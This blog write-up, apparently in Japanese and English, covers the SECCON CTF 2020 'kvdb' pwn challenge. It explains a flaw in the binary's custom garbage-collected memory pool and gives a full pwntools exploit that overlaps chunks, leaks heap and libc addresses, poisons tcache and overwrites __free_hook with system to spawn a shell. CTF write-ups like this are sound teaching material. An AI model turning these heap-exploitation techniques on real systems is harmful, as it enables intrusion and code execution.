【pwn 38.2】SECCON CTF 2020 ~ part.3 kvdb

keywords

customized memory system / tcache poisoning / heap feng shui / libc2.32

鶏がチキンレースをしたらチキンチキンレースになり

それがガキ使の企画として行われたらチキチキチキンチキンレースになることは自明であるが

キツキツのキッチンでそれが行われた場合キツキツのキッチンでチキチキチキンチキンレースになるのであろうか。

キッチリとキツキツのキッチンでチキチキチキンチキンレースと毎回発音するのは当然面倒くさいため、何か代替案を考えなければならない...

最近、愉快じゃなくなったので大学サークルのSlackを抜けたのですが、それで時間が増えるかと思ったらそうでもありませんでした。認知資源が増えるかと思ったけど、そもそも認知資源ってなにかわかりませんでした。

ブログ閉鎖したんちゃうんかァと思う人は、一人ひとり全力でスライディング土下座しに行くのでDMください。DMしてきたら泣きながら通報します。

1: イントロ

いつぞや開催された SECCON CTF 2020。

そのpwn問題を全部解き直すシリーズpart.3です。前回までのエントリは以下を参照してください。

smallkirby.hatenablog.com

smallkirby.hatenablog.com

本エントリでは pwn 2solves kvdb を解いていきます。"k"ってついてるからカーネル問かと思っていたら、カーネル問じゃありませんでした。けど面白かったです。独自メモリシステム問題は、頭がバグりそうになるけど、解けると楽しい。嗚呼人生哉...

2: 静的解析

The Binary

./kvdb: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b2278a81a0a29c6ec7f429d1992320bd5bd00ebe, for GNU/Linux 3.2.0, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ strings ./libc.so.6 | grep glibc | head
glibc 2.32

Source code is attached to the distributed file. 

You can ADD, GET, and DELETE data of key/value structure.

demo

 "The Binary" といえば適当にYoutubeで流してたこの曲が好きになったので、初めて歌手のファンクラブに会員登録しました 🎉 🎉 🎉 🎉 🎉 🎉 🎉

多分この問題もこの曲にインスパイアされて作られたんだと思います、知らんけど。

Data structure

One key/value data is stored as below structure: structure entry

key/value data structure

valid means whether this data is DELETEd or not. hash is calculated from key in new_hash() and is used for searching the hashtable (htb) for the entry.

hash calculation

The pointers of them are stored in hashtable(structure entry *htb[0x100]). The LSB of hash is used as the key of hashtable. If the hash collides, new entry is put into root of the linked list in htb_link().

Memory Allocation Structure

Most of data is stored in buffer which is allocated via alloca() or calloc(). But key and value are allocated via original allocation system, which uses Garbage Collection. 

Memory Pool is described as below structure: structure mpool mp

memory pool

Memory Allocation System and Garbage Collection

Buffer is allocated from this system via alloc().  

memory allocation

It first check whether the rest of space is enough for requested size. Here, p->cap means the upper limit size of the memory pool. If there is no space, it calls gc(), or Garbage Collection function.

garbage collection

The default size of memory pool is 0x80. After estimating the size of inuse memory, it adjusts new pool size.  In init_mpool(), new pool is allocated via malloc(), then p->base, p->cap, and p->inuse is updated. In migrate() function, all the entries is re-allocated in updated memory pool. Note that all the key are re-allocated, but data is re-allocated only when e->valid is true. 

migrate all the entries

The last phase of gc() is to free() the old memory pool.

3: Vulnerabilities

To be honest, I couldn't find any vulns or kinda any clues at first glance....

I guess the author of this challenge has already written author's writeup (I think this trend is typical especially in recent Japanese CTF), but I didn't wanna see it. And I don't know who is the author, though I can guess ptr-yudai disaster-level pro or shift_crops world-end pro is.

(Edit 20201019: my guess-work was correct and the author shift_crops has already written the writeup. See below)

shift-crops.hatenablog.com

Curious Parts

When nothing tells you, start from small doubt. 

The curious part 1. In db_get() which searches hashtable for the requested entry, the buffer of the entry is checked as bellow.

curious memory check in db_get()

 Similar check is performed also in db_reg():

curious memory check in db_reg()

Memory allocation and re-allocation should be performed in alloc() and migrate(). If they are perfect, these check wouldn't be needed. It means that the allocation system can collapse and the entry can be in out-of-memory region. 

The curious part 2. Why does this system leave deleted or migrated data unfreed.  In migrate(), data which satisfies e->valid&&e->size>0 is reallocated, but is not freed. Therefore, the old data become floating-pointer and can be used to leak some info, I guess.

The curious part 3, which is a totally mistake of mine, but usefull notice. Does this system need to shrink the pool in gc()?  

the memory pool can shrink

Yeah, this behavior itself is OK, with no problems. But this small notice led me to exploit.  

The curious part 4, why reading and writing data is performed via read() and write()? Why not fgets() or something like it. In CTF context, this often means that you can write arbitrary value regardless of NULL byte of newline(0x1A). 

The vuln

Let these three curious parts combined.  

Suppose below situation:

suppose

The size of old pool is 0x800, which has a data A in it. Note that this data is at addr of 0x1xx ~ 0x2xx. Data A is DELETEd and valid flag becomes 0. This pointer still remains in hashtable. After that, old pool shrinks to the size of 0x200. Well, the head of data A is in the range of current memory pool, but its body exceeds the range of the memory pool. 

What happens if we re-register data with key "A"? ent_lookup() just checks its key and doesn't check valid flag. And after that, db_reg() checks as below:

db_reg()

Okay, it also does NOT check valid flag. In addition, it RE-RAISE valid flag. Next if check would pass because it only checks the head of data(e->data).

The curious parts assembles now. Yes, floating-pointer remains in hashtable after delete. Yes, weird memory check is performed and it is insufficient. Yes, the memory pool can shrink and can be placed on the old memory pool. And yes, OOB read/write is available now...!

4: Linear OOB to leak heapbase

The concept is perfect, but doing it was totally brain-fucking trial-and-error work... tcache was very annoying and inuse + ensure < new_size/4 was very irritating. key is allocated even when its valid flag is 0. And I mistakenly assumpted that new_size is evaluated multiple times in one gc() call, which wasted so much time. 

Anyway, below script does well heap feng-shui. (I really hate this word heap feng-shui. It is as good as saying nothing...)

  _put("A", 0x8-2, "A"*0x1)
  _put("B", 0x8-2, "B"*0x1)
  _put("C", 0x8-2, "C"*0x1)
  _put("D", 0x8-2, "D"*0x1)
  _put("E", 0x8-2, "E"*0x1)
  _put("F", 0x8-2, "F"*0x1)  # inuse 0x30
  _put("G", 0x60-2, "G"*0x4) # inuse 0x90 # cap 0x100

  _put("H", 0x350-2, "H"*0x340) # inuse 0x3e0 # cap 0x400
  _put("A", 0x320, "A"*0x310) # inuse 0x700 # cap 0x800

  _del("A")
  _del("B")
  _del("C")
  _del("D")
  _del("E")
  _del("F")
  _del("G")
  _del("H") # inuse 0x500 # use 0x8 # cap 0x800

  _put("B", 0xf0, "B"*0xe0) # inuse 0x7f0 # use 0x2f0 # cap 0x800
  _del("B")
  _put("C", 0xf0, "C"*0x20) # inuse 0x100 # use 0xf0 # cap 0x400
  _del("C")

1. Allocate 0x800 pool.

2. Allocate data "A" in 0x800 pool. Then delete it.

3. Shrink to 0x400 and 0x800 pool is freed. It is consolidated with top chunk.

Note that data "A" is deleted but still remains in 0x800 old pool. In other word, data "A" is in top chunk. Now, chunks looks like below:

data A is in old mp(top)

Then, we pad first space of old pool (top chunk) by allocating dummy entries. After some padding, we make pool shrink to the size of 0x200. Note that this pool is allocated from top chunk, or old pool. Heap would look like below:

data A is beyond current pool!!

Yeah! The head of data A is actually in the current pool. However, its body is beyond the pool and exeeds to next chunk!   If we allocate entry, it would be allocated right next to the current pool. Therefore, we have now overlapping chunk and OOB write access! We can write arbitrary value into the entry structure.

At this time, valid flag of A is down cuz A is already deleted. But just writing some value into A re-raises it. If we allocate one more entry, we can read its content because A is allocated for huge size. We get heapbase.

5: Non-linear read to leak libcbase

We can overwrite data and key pointer of entry structure using OOB write now.  Next, we have to leak libcbase. We have to generate unsortedbin and leak its fd. Generating unsorted is easy. Re-generating 0x800 size pool and freeing it would be enough. 

However, don't forget that data and key must point to the addr in the current pool, otherwise the program dies soon.

addr check @ db_get()

Therefore, we have to generate unsorted and re-generate overlap data again...

It was really brain-fucking work again. Finally below script works well.

  # generate unsorted
  _put("C", 0x3e0, "C"*0x300) # inuse 0x410 # cap #0x800
  _del("C")
  _put("#", 0x3e0-2, "#"*0x300)
  _del("#") # inuse 0x7f0 # cap 0x800
  _put("M", 0x20-2, "M"*4)
  _del("M") # inuse 0x52 # cap 0x400
  
  _put("N", 0x3a0-2, "N"*0x200)  # unsorted is generated
  _del("N") # inuse 0x3f2
  _put("O", 0x20-2, "O") # cap 0x200, again!

  ###################################

  _put("P", 0x190, "T") # target whose entry is on deleted A
                        # NOTE: old A should be in base+inuse range

Now, heap looks like below:

Overwrite victim entry's size using OOB of A. By reading A or victim data, we can leak fd of unsortedbin. 

6: tcache poisoning to overwrite __free_hook

We have heapbase and libcbase, but don't have AAW. Let's do tcache poisoning. We use tcache 0x410 as a victim.

First, we have to free memory pool of the size 0x400 twice to link to tcache. But current heap is a little bit dirty due to previous work for leak. Unfortunately, entry structure has pointer in it and they are dereferenced in gc() and migrate() function. So they should be valid value, or the program dies.  Especially data pointer is not used if its valid flag is 0, but key pointer is always dereferenced regardless of valid flag.

Below script would work:

  # let's tcache poisoning
  _del("A")
  _del("U")
  _del("O")
  _del("P")
      # inuse 0x1e8 # cap 0x200
  print(alive)

  _put("Q", 0x300-2, "Q"*0x10) # inuse 0x349 # cap 0x400
  _del("Q")
  _put("Q", 0x3a0, "Q"*0x10) # remap # inuse 0x3db # cap 0x400 
  _del("Q")
  _put("R", 0x40-2, "R"*0x10) # shrink # inuse 0x8b # cap 0x200
  _del("R")


  # forge chunks
  fake = entry(".", 0x800, heapbase, heapbase, False).gen()
  pay = b""
  pay += b"/bin/sh\x00"
  pay += p8(0) * 0x200
  pay += (p64(0xdeadbeef) +  fake) * 0x9
  pay += p64(0x411)
  pay += p64(libcbase + 0x1eeb28 - 0x60) # free_hook - 0x60
  _put("V", len(pay), pay)

  #################################
  # now, 0x410 [  2]: 0x5617d6890fa0 —▸ 0x7f97123e6b28 (__free_hook) ◂— 0x0

7: place /bin/sh at the head of memory pool

Now, __free_hook is overwriten with system. However, "/bin/sh\x00" should be at the head of the pool. The content of the pool is migrated as below at migrate():

It just lookup hashtable and migrate keys by strcpy. So we have to determine the first non-NIL entry of hashtable and give "/bin/sh\x00" for its key. In my case, it was overwritable via OOB of data A, so not difficult :)

8: exploit

風水がめんどくさすぎて、自前のlibcでやって辞めちゃったけど、オフセット変えるだけだろうからこれでいいよね、いいよ。

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./kvdb"
LIBCNAME = "./libc.so.6"

hosts = ("kvdb.chal.seccon.jp","localhost","localhost")
ports = (17368,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None

current_size = 0x80
KEYMAX = 0x40
DATAMAX = 0x400
alive = []

## utilities #########################################

def hoge(ix):
  global c
  c.recvuntil("> ")
  c.sendline(str(ix))

def _put(key, size, data):
  global c 
  if len(key) > KEYMAX:
    print("[-] KEY is too long...")
    raw_input("enter to exit...")
    exit(0)
  if len(data) > DATAMAX:
    print("[-] DATA is too long...")
    raw_input("enter to exit...")
    exit(0)
  if len(data) > size:
    print("[-] I will kill you...")
    raw_input("enter to exit...")
    exit(0)
  hoge(1)
  c.recvuntil("Key : ")
  c.sendline(key)
  c.recvuntil("Size : ")
  c.sendline(str(size))
  c.recvuntil("Data : ")
  c.send(data)

  if key not in alive:
    alive.append(key)

def _get(key):
  global c
  hoge(2)
  c.recvuntil("Key : ")
  c.sendline(key)
  if "not found" in c.recvline():
    return None
  c.recvuntil("---- data ----")
  c.recvline()
  return c.recvuntil("---")[:-4]

def _del(key):
  global c 
  hoge(3)
  c.recvuntil("Key : ")
  c.sendline(key)
  if "not found" in c.recvline():
    print("NOT FOUNDDDDDDDDDDDDDDDD")
    raise
  else:
    if key in alive:
      alive.remove(key)
    return True

class entry:
  def __init__(self, key_str, _size, _key=None, _data=None, valid=True):
    self.size = _size
    self.key_str = key_str
    self.key = _key
    self.data = _data
    self.hash = self.new_hash()
    self.valid = valid
  
  def new_hash(self):
    h = 5381
    for c in self.key_str:
      h = h*33 + ord(c)
    print("[ ] hash of " + self.key_str + ": "+hex(h&0xffffffff))
    return h & 0xffffffff

  def gen(self):
    pay = b""
    pay += p32(0x1) if self.valid else p32(0) # valid flag
    pay += p32(self.hash) 
    pay += p64(self.size)
    pay += p64(self.key)  if self.key!=None else p64(0)
    pay += p64(self.data) if self.data!=None else p64(0)
    pay += p64(0) # next
    return pay



## exploit ###########################################

def exploit():
  global c

  _put("A", 0x8-2, "A"*0x1)
  _put("B", 0x8-2, "B"*0x1)
  _put("C", 0x8-2, "C"*0x1)
  _put("D", 0x8-2, "D"*0x1)
  _put("E", 0x8-2, "E"*0x1)
  _put("F", 0x8-2, "F"*0x1)  # inuse 0x30
  _put("G", 0x60-2, "G"*0x4) # inuse 0x90 # cap 0x100

  _put("H", 0x350-2, "H"*0x340) # inuse 0x3e0 # cap 0x400
  _put("A", 0x320, "A"*0x310) # inuse 0x700 # cap 0x800

  _del("A")
  _del("B")
  _del("C")
  _del("D")
  _del("E")
  _del("F")
  _del("G")
  _del("H") # inuse 0x500 # use 0x8 # cap 0x800

  _put("B", 0xf0, "B"*0xe0) # inuse 0x7f0 # use 0x2f0 # cap 0x800
  _del("B")
  _put("C", 0xf0, "C"*0x20) # inuse 0x100 # use 0xf0 # cap 0x400
  _del("C")

  #######################################

  # struct entry's size is 0x28(0x30)
  for i in range(0x1b0//0x30):
    _put(p8(0x61+i), 0x1,p8(0x61+i))
    _del(p8(0x61+i))
 
  _put("?", 0x2e0-2, "?"*0x200) # inuse 0x3ef # cap 0x400
  _del("?")

  _put("!", 0x20-2, "!"*0x10) # YEAH! overlapping! # cap 0x200
  _del("!")

  _put("T", 0x190, "T") # target whose entry is on deleted A
                        # NOTE: old A should be in base+inuse range


  ##############################

  T = entry("T", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
  U = entry("U", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
  V = entry("V", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
  W = entry("W", 0x800, 0xdeadbeef, 0xdeadbeef).gen()
  Z = entry("Z", 0x800, 0xdeadbeef, 0xdeadbeef).gen()

  pay = b""
  pay += "A"*0x3e
  pay += p64(0xdeadc0bebeef)
  pay += T
  pay += p64(0xdeadc0bebeef)
  pay += U
  pay += p64(0xdeadc0bebeef)
  pay += V
  pay += p64(0xdeadc0bebeef)
  pay += W
  pay += p64(0xdeadc0bebeef)
  pay += Z
  _put("A", len(pay), "A"*0x3e + (p64(0x201f1)+p64(0))*((len(pay)-0x3e)//0x10)) # fake top size to avoid corruption

  ############################

  _put("U", 0x1, "U") # it's mine
  _put("V", 0x1, "W") # it's mine
  _put("W", 0x1, "W") # it's mine
  _put("Z", 0x1, "Z") # it's mine

  # now, A's valid flag is 1. So, I can read via OOB. Let's leak heapbase
  leak = unpack(_get("A")[0x86:0x86+8])
  heapbase = leak - 0xdb6
  print("[!] leak: " + hex(leak))
  print("[!] heapbase: " + hex(heapbase))

  #############################
  # let's generate unsorted # inuse 0x1e2 # cap 0x200

  T = entry("T", 0x800, heapbase+0xc24, heapbase+0xc26).gen()
  U = entry("U", 0x800, heapbase+0xdb6, heapbase+0xdb8).gen()
  V = entry("V", 0x800, heapbase+0xdb9, heapbase+0xbe0).gen()
  pay = b""
  pay += "A"*12
  pay += "U\x00"
  pay += "U"
  pay += "V\x00"
  pay += "V"
  pay += "W\x00"
  pay += "W"
  pay += "Z\x00"
  pay += "Z"
  pay += "A"*(0x3e-len(pay))
  pay += p64(0xdeadc0bebeef)
  pay += T
  pay += p64(0xdeadc0bebeef)
  pay += U
  pay += p64(0xdeadc0bebeef)
  pay += V
  _put("A", len(pay), pay)
  _del("A")
  _del("T")
  _del("U")
  _del("V")
  _del("W")
  _del("Z")

  print(alive) # inuse 0x1e2 # cap 0x200
  # generate unsorted
  _put("C", 0x3e0, "C"*0x300) # inuse 0x410 # cap #0x800
  _del("C")
  _put("#", 0x3e0-2, "#"*0x300)
  _del("#") # inuse 0x7f0 # cap 0x800
  _put("M", 0x20-2, "M"*4)
  _del("M") # inuse 0x52 # cap 0x400
  
  _put("N", 0x3a0-2, "N"*0x200)  # unsorted is generated
  _del("N") # inuse 0x3f2
  _put("O", 0x20-2, "O") # cap 0x200, again!

  ###################################

  _put("P", 0x190, "T") # target whose entry is on deleted A
                        # NOTE: old A should be in base+inuse range
  T = entry("T", 0x10, heapbase+0xc24, heapbase+0xc00).gen()
  U = entry("U", 0x800, heapbase+0xdb6, heapbase+0xdb8).gen() # my spy!
  V = entry("V", 0x800, heapbase+0xdb9, heapbase+0xbe0).gen() # my attacker!
  pay = b""
  pay += "A"*12
  pay += "U\x00"
  pay += "U"
  pay += "V\x00"
  pay += "V"
  pay += "W\x00"
  pay += "W"
  pay += "Z\x00"
  pay += "Z"
  pay += "A"*(0x3e-len(pay))
  pay += p64(0xdeadc0bebeef)
  pay += T
  pay += p64(0xdeadc0bebeef)
  pay += U
  _put("A", len(pay), pay)

  leak = unpack(_get("U")[0x1b8:0x1b8+8])
  libcbase = leak - 0x1ebbe0
  print("[!] leak: " + hex(leak))
  print("[!] libcbase: " + hex(libcbase))


  #################################
  # let's tcache poisoning
  _del("A")
  _del("U")
  _del("O")
  _del("P")
      # inuse 0x1e8 # cap 0x200
  print(alive)

  _put("Q", 0x300-2, "Q"*0x10) # inuse 0x349 # cap 0x400
  _del("Q")
  _put("Q", 0x3a0, "Q"*0x10) # remap # inuse 0x3db # cap 0x400 
  _del("Q")
  _put("R", 0x40-2, "R"*0x10) # shrink # inuse 0x8b # cap 0x200
  _del("R")


  # forge chunks
  fake = entry(".", 0x800, heapbase, heapbase, False).gen()
  pay = b""
  pay += b"/bin/sh\x00"
  pay += p8(0) * 0x200
  pay += (p64(0xdeadbeef) +  fake) * 0x9
  pay += p64(0x411)
  pay += p64(libcbase + 0x1eeb28 - 0x60) # free_hook - 0x60
  _put("V", len(pay), pay)

  #################################
  # now, 0x410 [  2]: 0x5617d6890fa0 —▸ 0x7f97123e6b28 (__free_hook) ◂— 0x0
  # inuse 0x8b # cap 0x200
  _put("R", 0x300-2, "R"*0x10)
  _del("R")
  
  # 0x410 [  1]: 0x7fd383c83b28 (__free_hook) ◂— 0x0
  pay = b""
  pay += p8(0)*(8*8-1-0x10)
  pay += p64(libcbase + 0x55410) # system
  pay += p8(0) * (0x310-2-len(pay))
  _put("R", 0x310-2, pay) # free_hook -> system
  _del("R")

  ####################################

  # the pool shoud start with "/bin/sh\x00"
  _put("(", 0x100, "hoge")
  


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

really brain-fucking feng-shui chall..! but interesting

らぶしいず

9: アウトロ

途中で頭がバグりそうになったけど、よくよく考えました。

SECCON、大分手応えの有る問題たちでした。

あれ、あと1問pwn残ってるのかな。やんなきゃかな。

自分が無能すぎて困ってるんだが。

助けてくれや、誰か。

つづく可能性が有る....